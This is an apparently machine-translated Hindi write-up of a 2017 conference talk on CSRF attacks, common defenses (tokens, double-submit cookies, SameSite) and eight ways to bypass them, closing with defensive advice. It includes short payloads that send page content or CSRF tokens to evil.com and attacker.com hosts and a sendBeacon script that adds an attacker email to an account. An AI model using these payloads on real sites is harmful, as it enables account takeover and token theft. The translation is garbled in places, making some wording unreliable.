👩🏽‍💼 🍆 👩🏿‍🏭 CSRF भेद्यताएँ अभी भी प्रासंगिक हैं 🐿️ 😟 🍮

CSRF (क्रॉस साइट रिक्वेस्ट फोर्जरी) रूसी में अनुवादित क्रॉस-साइट अनुरोधों का एक नकली है। मिखाइल एगोरोव ( 0ang3el ) ने हाईलोड + ++ 2017 पर अपनी रिपोर्ट में सीएसआरएफ कमजोरियों के बारे में बात की, जिसके बारे में आमतौर पर सुरक्षा तंत्र का उपयोग किया जाता है, और वैसे भी उन्हें कैसे दरकिनार किया जा सकता है। और अंत में, उन्होंने सीएसआरएफ हमलों के खिलाफ सही तरीके से बचाव करने के सुझावों की एक श्रृंखला पेश की। इस प्रदर्शन के कैट डिकोडिंग के तहत।

स्पीकर के बारे में: मिखाइल एगोरोव इनग्राम माइक्रो क्लाउड में काम करता है और एप्लिकेशन सुरक्षा में लगा हुआ है। अपने खाली समय में, मिखाइल कमजोरियों और बग शिकार की खोज में लगा हुआ है और सुरक्षा सम्मेलनों में बोलता है।

अस्वीकरण: दी गई जानकारी विशुद्ध रूप से लेखक की राय है, सभी मैच यादृच्छिक हैं।

यह कुकी राक्षस इस तथ्य के लिए दोषी है कि CSRF काम करता है। तथ्य यह है कि कई वेब एप्लिकेशन कुकीज़ का उपयोग करते हैं (इसके बाद हम उपयोगकर्ता के सत्र को नियंत्रित करने के लिए रूसी में कुकीज़ को कॉल करना उचित समझते हैं)। ब्राउज़र को इस तरह से डिज़ाइन किया गया है कि अगर उसमें इस डोमेन और पथ के लिए उपयोगकर्ता कुकीज़ हैं, तो यह स्वचालित रूप से उन्हें HTTP अनुरोध के साथ भेजता है।

कुकीज़

कुकी डेटा का एक छोटा सा टुकड़ा है जो एक वेब सर्वर एक क्लाइंट को नाम में मान = "सेट-कुकी" नामक HTTP हेडर में भेजता है। ब्राउज़र इस डेटा को उपयोगकर्ता के कंप्यूटर पर संग्रहीत करता है, और जब भी आवश्यक होता है, डेटा के इस टुकड़े को "कुकी" नामक एक HTTP हेडर में HTTP अनुरोध के भाग के रूप में वेब सर्वर पर भेजता है।

कुकीज़ में विभिन्न विशेषताएं हो सकती हैं, जैसे: समाप्ति, डोमेन, सुरक्षित, httponly:

कुकीज़ पहली बार नेटस्केप ब्राउज़र में 1994 में दिखाई दी। कई वेब एप्लिकेशन अभी भी उपयोगकर्ता के सत्र को प्रबंधित करने के लिए उनका उपयोग करते हैं।

आइए देखें कि क्लासिक क्रॉस साइट रिक्वेस्ट फोर्जरी (सीएसआरएफ) हमला कैसे काम करता है।

मान लें कि हमारे वेब एप्लिकेशन में उपयोगकर्ता के वितरण पते को बदलने की क्षमता है, और यह सत्र को नियंत्रित करने के लिए कुकीज़ का उपयोग करता है।

हमारे पास एक HTML फॉर्म है जिसे उपयोगकर्ता को भरना होगा: पता दर्ज करें और "सहेजें" बटन पर क्लिक करें। नतीजतन, HTML फॉर्म के साथ POST अनुरोध बैकएंड पर उड़ जाएगा। हम देखते हैं कि ब्राउज़र उपयोगकर्ता के सत्र कुकीज़ को स्वचालित रूप से सेट करता है। बैकएंड, जब यह ऐसा अनुरोध प्राप्त करता है, तो देखता है कि इस तरह का एक सत्र है, यह एक वैध उपयोगकर्ता है, और इसका वितरण पता बदलता है।

एक हमलावर क्या कर सकता है?

वह अपने हमलावर.कॉम साइट पर एक HTML पेज रख सकता है जो वास्तव में उदाहरण के लिए HTML फॉर्म जमा करता है । com । चूंकि ब्राउज़र स्वचालित रूप से उपयोगकर्ता के कुकीज़ को HTTP अनुरोध में सम्मिलित करता है, बैकएंड को बस यह समझ में नहीं आता है कि क्या अनुरोध वैध है - क्या यह उपयोगकर्ता द्वारा फ़ॉर्म भरने का परिणाम है, या क्या यह CSRF हमला है - और उपयोगकर्ता के लिए वितरण पते को बदल देगा जो हमलावर के लिए फायदेमंद है। ।

XHR API का उपयोग करके CSRF हमले के लिए एक और विकल्प है। अगर कई ने HTML फॉर्म का उपयोग करके CSRF हमले के बारे में सुना है, तो वे इस विधि के बारे में कम जानते हैं, लेकिन यह भी काम करता है।

WithCredentials विशेषता पर ध्यान दें, जो ब्राउज़र को उपयोगकर्ता कुकीज़ स्वचालित रूप से भेजने का कारण बनता है। चूंकि सामग्री-प्रकार का मूल्य अनुप्रयोग / x-www-form-urlencoded है, इसलिए ब्राउज़र इस अनुरोध को बिना CORS विकल्प प्रीफ़लाइट अनुरोध के भेज देगा, और फिर से CSRF हमला काम करेगा।

आइए हम अधिक स्पष्ट रूप से विचार करें कि यह कैसे होता है।

स्रोत डेटा:

example.com एप्लिकेशन जो CSRF के लिए असुरक्षित है,
उपयोगकर्ता,
हमलावर की साइट, जहाँ एक csrf-xhr.html पृष्ठ है।

उपयोगकर्ता को आवेदन में प्रमाणित किया जाता है, जो example.com पर स्थित है। यदि वह हमलावर की साइट पर जाता है, तो एक POST अनुरोध को स्वचालित रूप से निष्पादित किया जाएगा, जिससे वितरण पता बदल जाएगा। ब्राउज़र स्वचालित रूप से सत्र कुकीज़ को अनुरोध में सम्मिलित करेगा और बैकएंड पते को बदल देगा।

CSRF हमला इतिहास

सामान्य तौर पर, CSRF हमलों को 2001 से जाना जाता है, जब उनका सक्रिय रूप से शोषण किया जाने लगा। 2008-2012 की अवधि में, ऐसी कमजोरियाँ हर पहली साइट पर थीं, जिनमें शामिल हैं:

यूट्यूब;
द न्यूयॉर्क टाइम्स;
badoo;
SlideShare;
Vimeo;
Hulu;
सिनेमा खोज;
...

CSRF भेद्यताएँ कितनी गंभीर हैं?

वास्तव में, यह सब कमजोर कार्रवाई की आलोचना पर निर्भर करता है। यह हो सकता है:

खाता अधिग्रहण - हमलावर सीएसआरएफ के माध्यम से ईमेल को बदलकर पीड़ित के खाते को पकड़ लेता है।
विशेषाधिकार वृद्धि - इस तथ्य के कारण बढ़ते विशेषाधिकार कि सीएसआरएफ के माध्यम से हमलावर सिस्टम में उच्च अधिकारों के साथ एक नया उपयोगकर्ता बनाता है।
रिमोट कोड निष्पादन - CSRF के माध्यम से व्यवस्थापक पैनल में कमांड इंजेक्शन के संचालन के कारण कोड निष्पादन।

आइए देखें कि सीएसआरएफ की गंभीरता के बारे में अंतरराष्ट्रीय स्तर पर स्थापित भेद्यता वर्गीकरण क्या कहते हैं।

OWASP शीर्ष 10 परियोजना में, जिसमें आवेदन में 10 सबसे महत्वपूर्ण कमजोरियां शामिल हैं, 2010 में CSRF कमजोरियां पांचवें स्थान पर थीं। तब डेवलपर्स ने विभिन्न सुरक्षा विकल्पों को लागू करना शुरू किया, और पहले से ही 2013 में सीएसआरएफ कमजोरियों को 8 वें स्थान पर ले जाया गया।

CSRF भेद्यताओं को 2017 के लिए सूची में शामिल नहीं किया गया था, क्योंकि माना जाता है कि आंकड़ों के अनुसार, वे अब केवल 8% मामलों में पैठ परीक्षण में पाए जाते हैं।

व्यक्तिगत रूप से, मैं इन आँकड़ों से सहमत नहीं हूँ, क्योंकि वस्तुतः पिछले दो वर्षों में मैंने कई सीएसआरएफ भेद्यताएँ पाई हैं। आगे मैं आपको बताऊंगा कि मैंने यह कैसे किया।

Bugcrowd VRT ( वल्नरेबिलिटी रेटिंग टैक्सोनॉमी) वर्गीकरण में, एप्लिकेशन-वाइड CSRF भेद्यता P2 (उच्च) की एक गंभीर रेटिंग है। केवल गंभीरता गंभीर है, यानी ये काफी गंभीर कमजोरियां हैं ।

विचार करें कि कौन से CSRF सुरक्षा विकल्प मौजूद हैं और प्रत्येक सुरक्षा विकल्प कैसे काम करते हैं।

1. सीएसआरएफ टोकन

प्रत्येक उपयोगकर्ता सत्र के लिए, एक अद्वितीय और अत्यधिक एंट्रोपिक टोकन उत्पन्न होता है।
टोकन HTML पेज के DOM में डाला जाता है या एपीआई के माध्यम से उपयोगकर्ता को दिया जाता है।
किसी भी परिवर्तन से जुड़े प्रत्येक अनुरोध वाले उपयोगकर्ता को अनुरोध के HTTP हेडर या पैरामीटर में एक टोकन भेजना होगा।
चूंकि हमलावर टोकन को नहीं जानता है, इसलिए क्लासिक सीएसआरएफ हमला काम नहीं करता है।

2. डबल सबमिट कुकी

प्रत्येक उपयोगकर्ता सत्र के लिए फिर से एक अद्वितीय और अत्यधिक एंट्रोपिक टोकन उत्पन्न होता है, लेकिन इसे कुकीज़ में रखा जाता है।
उपयोगकर्ता को अनुरोध में और अनुरोध पैरामीटर में समान मानों को पास करना होगा।
यदि ये दो मूल्य कुकीज़ और पैरामीटर में मेल खाते हैं, तो माना जाता है कि यह एक वैध अनुरोध है।
चूंकि हमलावर केवल उपयोगकर्ता के ब्राउज़र में कुकीज़ को नहीं बदल सकता है, क्लासिक CSRF हमला काम नहीं करता है।

3. सामग्री-प्रकार आधारित सुरक्षा

उपयोगकर्ता को एक विशिष्ट सामग्री-प्रकार के हेडर के साथ एक अनुरोध भेजना चाहिए, उदाहरण के लिए आवेदन / json।
चूंकि HTML प्रपत्र या XHR API के माध्यम से ब्राउज़र में एक मनमाना कंटेंट-टाइप क्रॉस-ऑरिजिन भेजना असंभव है, इसलिए क्लासिक CSRF हमला फिर से काम नहीं करता है।

4. संदर्भ-आधारित सुरक्षा

उपयोगकर्ता को एक विशिष्ट रेफ़र हैडर मान के साथ एक अनुरोध भेजना होगा। बैकएंड इसकी जांच करता है, अगर यह गलत है, तो माना जाता है कि यह एक सीएसआरएफ हमला है।
चूंकि ब्राउज़र HTML फॉर्म या एक्सएचआर एपीआई के माध्यम से एक मनमाना रेफ़र नहीं भेज सकता है, इसलिए क्लासिक सीएसआरएफ हमला काम नहीं करता है।

5. पासवर्ड की पुष्टि / websudo

उपयोगकर्ता को पासवर्ड (या गुप्त) के साथ कार्रवाई की पुष्टि करनी चाहिए।
चूंकि हमलावर उसे नहीं जानता है, क्लासिक CSRF हमला काम नहीं करता है।

क्रोम, ओपेरा में 6. समान कुकीज़
यह एक नई तकनीक है जिसे CSRF से बचाने के लिए बनाया गया है। फिलहाल, यह केवल दो ब्राउजर (क्रोम, ओपेरा) में काम करता है।

एक कुकी को एक अतिरिक्त विशेषता के साथ सेट किया गया है - samesite, जिसमें दो मूल्य हो सकते हैं: ढीला या सख्त।
प्रौद्योगिकी का सार यह है कि ब्राउज़र कुकीज़ नहीं भेजता है यदि अनुरोध किसी अन्य डोमेन से किया जाता है, उदाहरण के लिए, हमलावर की वेबसाइट से। इस प्रकार, यह फिर से क्लासिक सीएसआरएफ हमले से बचाता है।

लेकिन, दुर्भाग्य से, हर जगह ब्राउज़र, वेब एप्लिकेशन और उनकी तैनाती की विशेषताएं हैं, जो कभी-कभी आपको सीएसआरएफ सुरक्षा को बायपास करने की अनुमति देती हैं ।

इसलिए, अब आइए सुरक्षा को बायपास करने के 8 तरीकों के बारे में बात करते हैं जो अभ्यास में उपयोग किए जा सकते हैं।

वर्कअराउंड परिदृश्य:

1. XSS (क्रॉस-साइटस्क्रिप्टिंग)

यदि आपके वेब एप्लिकेशन में XSS है, तो यह स्वचालित रूप से CSRF के लिए असुरक्षित हो जाता है, और इससे खुद को बचाना मुश्किल है। आप केवल डाल सकते हैं ।

2. डंकलिंग मार्कअप

मान लीजिए कि हमारे एप्लिकेशन में HTML इंजेक्शन की भेद्यता है, लेकिन कोई XSS नहीं है। उदाहरण के लिए, एक सामग्री सुरक्षा नीति (CSP) है जो XSS से बचाव करती है। लेकिन एक हमलावर अभी भी HTML टैग एम्बेड कर सकता है।

यदि हमारा एप्लिकेशन CSRF टोकन के आधार पर सुरक्षा को लागू करता है, तो हमलावर ऐसे HTML को एम्बेड कर सकता है, ये बंद छवि नहीं हैं या फ़ॉर्म नहीं हैं:

<img src='https://evil.com/log_csrf?html= <form action='http://evil.com/log_csrf'><textarea>

नतीजतन, DOM HTML पेज का हिस्सा हमलावर के संसाधन पर भेजा जाएगा। यह अत्यधिक संभावना है कि यदि हमलावर ऐसे HTML को सही ढंग से लागू करता है, तो हमलावर की साइट पर जो आता है, उसमें CSRF टोकन होगा।

इस प्रकार, टोकन सीखने के बाद, हमलावर शास्त्रीय तरीके से सीएसआरएफ का शोषण करने में सक्षम होगा।

3. कमजोर उपडोमेन

मान लीजिए कि हमारे पास एक उपडोमेन foo.example.com है , और यह उपडोमेन अधिग्रहण या XSS के लिए असुरक्षित है । उपडोमेन अधिग्रहण के परिणामस्वरूप, हमलावर पूरी तरह से उपडोमेन को नियंत्रित करता है और वहां कोई HTML पृष्ठ जोड़ सकता है या उपडोमेन के संदर्भ में JS कोड निष्पादित कर सकता है। यदि हमारा उपडोमेन ऐसी चीजों के लिए कमजोर है, तो हमलावर सीएसआरएफ सुरक्षा के निम्नलिखित प्रकारों को दरकिनार कर सकेगा:

सीएसआरएफ टोकन;
डबल सबमिट कुकी;
सामग्री-प्रकार आधारित सुरक्षा।

मान लीजिए कि हमारा मुख्य एप्लिकेशन क्रॉस-डोमेन संचार के लिए कॉर्स (क्रॉस-ओरिजनल रिसोर्स शेयरिंग) का उपयोग करता है। सर्वर प्रतिक्रिया में दो हेडर डाले गए हैं:

अभिगम-नियंत्रण-अनुमति-उत्पत्ति: foo.example.com (foo.example.com - असुरक्षित उपडोमेन);
पहुँच-नियंत्रण-अनुमति-क्रेडेंशियल्स: सच - ताकि एक्सएचआर एपीआई का उपयोग करके उपयोगकर्ता कुकीज़ के साथ अनुरोध करना संभव हो।

यदि ये स्थितियां पूरी हो जाती हैं, तो हमलावर बस उस उपडोमेन से CSRF टोकन को पढ़ सकता है जिसे वह नियंत्रित करता है और शास्त्रीय तरीके से CSRF का शोषण करना जारी रखता है।

अगला विकल्प। मान लीजिए कि मुख्य डोमेन पर एक crossdomain.xml फ़ाइल है जिस पर हम हमला करना चाहते हैं। इस फ़ाइल का उपयोग उप-डोमेन इंटरैक्शन के लिए फ़्लैश- और पीडीएफ-प्लगइन्स द्वारा किया जाता है, और किसी भी उप-डोमेन से इसे एक्सेस करने की अनुमति है।

 <cross-domain-policy> <allow-access-from domain="*.example.com" /> </cross-domain-policy>

यदि हमलावर JS फ़ाइल को foo.example.com पर अपलोड कर सकता है, तो इस स्थिति में वह उपडोमेन foo.example.com के लिए सेवा कार्यकर्ता API का उपयोग कर सकता है, जो वास्तव में फ़्लैश फ़ाइल को बाहर करता है।

 var url = "https://attacker.com/bad.swf"; onfetch = (e) => { e.respondWith(fetch(url); }

चूंकि हमारे पास मुख्य डोमेन पर crossdomain.xml है, जो उप-डोमेन की बातचीत की अनुमति देता है, हमलावर बस इस SWF के माध्यम से CSRF टोकन पढ़ता है।

वैसे, हाल ही में अमेज़ॅन में एक समान भेद्यता पाई गई थी, यहां अधिक विवरण।

भले ही CORS कॉन्फ़िगर नहीं है और कोई crossdomain.xml फ़ाइल नहीं है, लेकिन डबल सबमिट कुकी सुरक्षा का उपयोग किया जाता है, एक हमलावर मूल डोमेन के लिए उपडोमेन से कुकीज़ सम्मिलित कर सकता है उस पथ पर जहां वह CSRF का शोषण करना चाहता है, और इस प्रकार डबल सबमिट कुकी संरक्षण।

4. खराब पीडीएफ

यह समाधान पीडीएफ पर आधारित है। एडोब में एक पीडीएफ प्लगइन है जो एडोब रीडर स्थापित करते समय स्वचालित रूप से इंस्टॉल हो जाता है। यह प्लगइन तथाकथित फॉर्मेलक स्क्रिप्ट का समर्थन करता है। हालांकि, अब एडोब से पीडीएफ प्लगइन केवल IE11 और फ़ायरफ़ॉक्स ईएसआर में काम करता है।

FormCalc की दो महान विधियाँ हैं: get () और post ()। गेट विधि का उपयोग करने वाला एक हमलावर CSRF टोकन पढ़ सकता है, पोस्ट का उपयोग करके, उसे अपनी साइट पर भेज सकता है। इसलिए हमलावर को पीड़ित का CSRF टोकन मिलता है।

मान लीजिए कि हमारे पास पीडीएफ फाइल को वेब एप्लिकेशन पर अपलोड करने की क्षमता है। वास्तव में, यह एक अलग प्रारूप की फ़ाइल भी हो सकती है, उदाहरण के लिए, एक हमलावर चित्र की आड़ में एक पीडीएफ डाउनलोड करने की कोशिश कर सकता है जो उपयोगकर्ता का अवतार है।

आवेदन में मुख्य डोमेन पर कुछ एपीआई है, जो आपको डाउनलोड की गई फ़ाइल की सामग्री प्राप्त करने की अनुमति देता है। फिर हमलावर एक HTML पेज का उपयोग कर सकता है जो पीडीएफ फाइल को एम्बेड करता है जिसे हमलावर ने example.com पर अपलोड किया है।

 <h1>Nothing to see here!</h1> <embed src="https://example.com/shard/x1/sh/leak.pdf" width="0" height="0" type='application/pdf'>

Leak.pdf फ़ाइल:

इस फ़ाइल में एक FormCalc स्क्रिप्ट है, जो अभी Settings.action पृष्ठ को पढ़ता है, जहाँ DOM में CSRF टोकन है और इसे हमलावर की साइट पर पोस्ट विधि का उपयोग करके भेजता है।

चूँकि PDF को example.com से डाउनलोड किया जाता है, इसलिए इस PDF की सभी मूल https://example.com तक पूरी पहुँच है, और वही मूल नीति (SOP) मोड का उल्लंघन किए बिना वहाँ से डेटा पढ़ सकता है।

एक अतिरिक्त ध्यान यह है कि पीडीएफ प्लगइन के लिए यह कोई फर्क नहीं पड़ता कि किस सामग्री-प्रकार की पीडीएफ फाइल दी गई है, और यहां तक कि HTTP प्रतिक्रिया में अन्य हेडर भी हो सकते हैं (उदाहरण के लिए, सामग्री-विवाद)। PDF प्लगइन अभी भी इस PDF को रेंडर करेगा और FormCalc स्क्रिप्ट को निष्पादित करेगा।

5. कुकी इंजेक्शन

यदि डबल सबमिट कुकी सुरक्षा का उपयोग किया जाता है, तो यदि हमलावर किसी तरह कुकीज़ को पेश कर सकता है, तो यह गेम ओवर है।

इस परिदृश्य में सबसे लोकप्रिय विकल्पों में से एक CRLF इंजेक्शन है ।

यदि हमलावर सर्वर की प्रतिक्रिया में अतिरिक्त हेडर डाल सकता है, तो वह बस आवश्यक कुकीज़ के साथ सेट-कुकी हेडर जोड़ सकता है और सीएसआरएफ सुरक्षा को बायपास कर सकता है।

एक अन्य विकल्प ब्राउज़र कुकी हैंडलिंग सुविधाओं से संबंधित है ।

उदाहरण के लिए, सफारी में, आप नई कुकीज़ (अल्पविराम से अलग कुकीज़) डालने के लिए अल्पविराम का उपयोग कर सकते हैं। मान लें कि हमारे पास हैडर में एक पैरामीटर है जिसका नाम भाषा है। हम इसे संसाधित करते हैं और कुकीज़ में उपयोगकर्ता के लिए चयनित भाषा मान लिखते हैं। यदि हमलावर अल्पविराम सम्मिलित करता है, तो वह किसी भी नाम के साथ अतिरिक्त कुकीज़ सम्मिलित कर सकता है।

इसके अलावा, CSRF सुरक्षा को दरकिनार करके ब्राउज़र बग्स की मदद कर सकते हैं। उदाहरण के लिए, फ़ायरफ़ॉक्स में SVG इमेज ( CVE-2016-9078) के माध्यम से कुकीज़ को एम्बेड करना संभव था। यदि हमारे पास एक HTML संपादक है और हम उपयोगकर्ता को छवि टैग सम्मिलित करने की अनुमति देते हैं, तो हमलावर एसआरसी विशेषता में एसवीजी छवि को इंगित कर सकता है, जो आवश्यक कुकीज़ सेट करेगा।

6. सामग्री-प्रकार बदलें

कुछ डेवलपर्स का मानना है कि यदि आप बैकएंड के साथ संवाद करने के लिए POST अनुरोध के शरीर में एक गैर-मानक डेटा प्रारूप का उपयोग करते हैं, तो यह आपको CSRF से बचा सकता है। वास्तव में ऐसा नहीं है।

एक उदाहरण के रूप में, मैं हाल ही में एक बहुत लोकप्रिय नोट प्रबंधन सेवा में मिली एक भेद्यता का हवाला देता हूँ।

इसने एक एपीआई का उपयोग किया जो सत्र को नियंत्रित करने के लिए अपाचे थ्रिफ्ट (द्विआधारी डेटा प्रारूप) और कुकीज़ का उपयोग करता है। उदाहरण के लिए, एक नया नोट जोड़ने के लिए, उपयोगकर्ता को इस तरह के एक पोस्ट अनुरोध भेजना होगा। बाइनरी डेटा को शरीर में प्रसारित किया गया था और सामग्री-प्रकार: आवेदन / एक्स-थ्रिफ्ट निर्दिष्ट किया गया था।

 POST /user/add/note HTTP/1.1 Host: example.com User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://example.com Cookie: JSESSIONID=728FAA7F23EE00B0EDD56D1E220C011E.jvmroute8081; Connection: close Content-Type: application/x-thrift Content-Length: 43

वास्तव में, इस सामग्री-प्रकार को बैकएंड में मान्य नहीं किया गया था। पोस्ट सीएसटीएफ की भेद्यता को केवल POST अनुरोध के शरीर में द्विआधारी डेटा पास करके शोषण करने के लिए इसे टेक्स्ट / प्लेन में बदलना और XHR API का उपयोग करना संभव था।

वास्तव में, सामग्री-प्रकार-आधारित सुरक्षा एक बहुत ही खराब सुरक्षा विकल्प है। यह ज्यादातर मामलों में बाईपास है।

7. गैर-सरल सामग्री-प्रकार

HTML फॉर्म के माध्यम से या XHR API का उपयोग करके, हम निम्नलिखित सामग्री प्रकार प्रस्तुत कर सकते हैं:

पाठ / सादे;
आवेदन / x-www-form-urlencoded;
मल्टीपार्ट / फॉर्म-डेटा।

वास्तव में, इसके माध्यम से किसी भी सामग्री-प्रकार के मूल्यों को भेजना संभव है:

ब्राउज़रों में बग्स (उदाहरण के लिए, नेविगेटर.सेंडबीकॉन);
प्लगइन्स: फ्लैश प्लगइन + 307 रीडायरेक्ट और पीडीएफ प्लगइन + 307 रीडायरेक्ट;
बैकएंड फ्रेमवर्क।

कुछ फ्रेमवर्क, जैसे JAX-RS Apache CXF फ्रेमवर्क, URL में ctype नामक एक पैरामीटर का समर्थन करते हैं। आप इस पैरामीटर में कोई भी सामग्री-प्रकार निर्दिष्ट कर सकते हैं, बैकएंड इस पैरामीटर को देखेगा और सामग्री-प्रकार के बजाय इसका उपयोग करेगा, जो शीर्ष लेख (स्रोत से लिंक ) को पारित किया जाता है।

क्रोम ब्राउज़र में एक काफी प्रसिद्ध बग 2015 में पाया गया था, जिसके बाद लगभग एक महीने के बाद यह सार्वजनिक पहुंच में आया, लेकिन इसे केवल 2017 में ही निर्धारित किया गया था। इस बग ने आपको Navigator.sendBeacon () नामक API का उपयोग करके किसी भी अन्य सामग्री को किसी अन्य मूल के साथ एक POST अनुरोध भेजने की अनुमति दी ।
ऑपरेशन कैसा दिखता था?

 <script> function jsonreq() { var data = '{"action":"add-user-email","Email":"attacker@evil.com"}'; var blob = new Blob([data], {type : 'application/json;charset=utf-8'}); navigator.sendBeacon('https://example.com/home/rpc', blob ); } jsonreq(); </script>

हम वांछित कंटेंट-टाइप के साथ एक नया ब्लब बनाते हैं और इसे नेविगेटर.सेंडबीकॉन () का उपयोग करके भेजते हैं।

अन्य वर्कअराउंड परिदृश्य जो अभी भी काम करता है और ब्राउज़रों में समर्थित है, फ्लैश प्लगइन का उपयोग करके बायपास होता है।

यहां तक कि एक साइट है thehackerblog.com , जहां पहले से ही एक तैयार फ्लैश ड्राइव है, आप बस URL, हेडर, वांछित सामग्री-प्रकार और उस डेटा को निर्दिष्ट करते हैं जिसे आपको स्थानांतरित करने की आवश्यकता है - आप भेजते हैं, और वांछित सामग्री-प्रकार के साथ एक POST अनुरोध बैकएंड में उड़ जाता है।

लेकिन एक तरकीब है - आप जिस साइट पर हमला कर रहे हैं, उसका URL निर्दिष्ट नहीं कर सकते। आपको उस संसाधन को निर्दिष्ट करना होगा जो उस संसाधन पर कोड 307 के साथ पुनर्निर्देशित करेगा जिस पर हम हमला कर रहे हैं। तब यह काम करेगा।

8. स्पूफ रेफर

CSRF सुरक्षा को बायपास करने का अंतिम विकल्प रेफर पर आधारित है। Microsoft एज ब्राउज़र में एक बग है, जो अभी भी तय नहीं है और आपको रेफ़र का मान नकली करने की अनुमति देता है। लेकिन यह काम करता है, दुर्भाग्य से, केवल GET अनुरोधों के लिए। अगर हमला करने वाला बैकेंड जीएसटी को POST से अलग नहीं करता है, तो इस बग का फायदा उठाया जा सकता है।

अगर हमें अभी भी POST की जरूरत है, तो थोड़ी मुश्किल है। हम पीडीएफ प्लगइन और फॉर्मलक का उपयोग करके हेडर रेफ़र भेज सकते हैं।

लगभग एक साल पहले, पीडीएफ प्लग-इन का उपयोग करके मेजबान सहित सामान्य रूप से किसी भी हेडर को भेजना संभव था, लेकिन तब एडोब ने हेडर की एक काली सूची बनाकर इस संभावना को बंद कर दिया। यही है, अगर हम हैडर को रेफ़र में निर्दिष्ट करते हैं, तो यह हेडर बस नहीं जाएगा।

सामान्य तौर पर, FormCalc हमें किसी भी सामग्री-प्रकार को कानूनी रूप से सबमिट करने की अनुमति देता है। यदि हम कैर्रिज रिटर्न और लाइन फीड वर्ण सम्मिलित करते हैं, तो हम अनुरोध में अतिरिक्त हेडर जोड़ सकते हैं।

अगर हम हेडर Referer http://example.com लागू करते हैं तो क्या होगा?

यह स्पष्ट है कि यह काली सूची में नहीं है और Referer http://example.com नाम से एक शीर्षक बैकएंड पर भेजा जाएगा।

कुछ सर्वर, जैसे WildFly या Jboss, HTTP हेडर के नाम के अंत के रूप में अंतरिक्ष का इलाज करते हैं, अर्थात्, कॉलन ` : `। इस प्रकार, ऐसे सर्वर देखेंगे कि रेफ़र उनके पास http://example.com मान के साथ आया था। इसलिए हम रेफर की जगह लेंगे।

यह सारांश तालिका है। स्तंभ CSRF के विरुद्ध सुरक्षा प्रदान करते हैं, और पंक्तियाँ वर्कअराउंड प्रदान करती हैं। प्रत्येक सेल में, वे ब्राउज़र जिनमें यह विधि काम करती है, संकेतित हैं:

सभी ब्राउज़रों के लिए सभी साधन;
सभी * का अर्थ है ऐसे ब्राउज़र जो समसाइट कुकीज़ का समर्थन नहीं करते हैं, अर्थात क्रोम और ओपेरा को छोड़कर सब कुछ।

CSRF हमलों से बचाव के लिए सबसे अधिक कार्डिनल और काम करने का विकल्प कुकीज़ से छुटकारा पाना और टोकन के साथ हेडर का उपयोग करना है।

लेकिन अगर आप अभी भी अपने उपयोगकर्ता सत्र को प्रबंधित करने के लिए कुकीज़ देने के लिए तैयार नहीं हैं:

मॉडल धमकी और CSRF सुरक्षा के कार्यान्वयन को सत्यापित करें (सारांश तालिका देखें)।
समान कुकीज़ को लागू करें। अब केवल दो ब्राउज़र समर्थन करते हैं, लेकिन भविष्य में, शायद, अधिक होगा।
विभिन्न सीएसआरएफ सुरक्षा - गहराई में रक्षा।
महत्वपूर्ण कार्य करने के लिए पासवर्ड के लिए उपयोगकर्ता से पूछें।
एक अलग डोमेन से उपयोगकर्ता द्वारा डाउनलोड की गई फ़ाइलें दें।

छह महीने से कम समय में, और एक महीने में अगला हाईलोड - हाईलोड ++ साइबेरिया ।

हम कुछ चुनिंदा रिपोर्टों पर आपका ध्यान आकर्षित करना चाहते हैं:

मैं सबके लिए रो रहा हूँ! हम अपने स्वयं के बिलिंग / एंटोन रुसाकोव का उपयोग किए बिना भुगतान प्रणाली को कैसे एकीकृत करते हैं ।
njs - नग्नेक्स / दिमित्री वोलिंटसेव में देशी जावास्क्रिप्ट स्क्रिप्टिंग ।
पीजी सागा: दो-चरण के आवागमन और समकालिक निर्भरता / कॉन्स्टेंटिन इवटेव के बिना कई सेवाओं में निर्भर डेटा परिवर्तन ।

CSRF भेद्यताएँ अभी भी प्रासंगिक हैं

कुकीज़

CSRF हमला इतिहास

CSRF भेद्यताएँ कितनी गंभीर हैं?

वर्कअराउंड परिदृश्य:

More articles: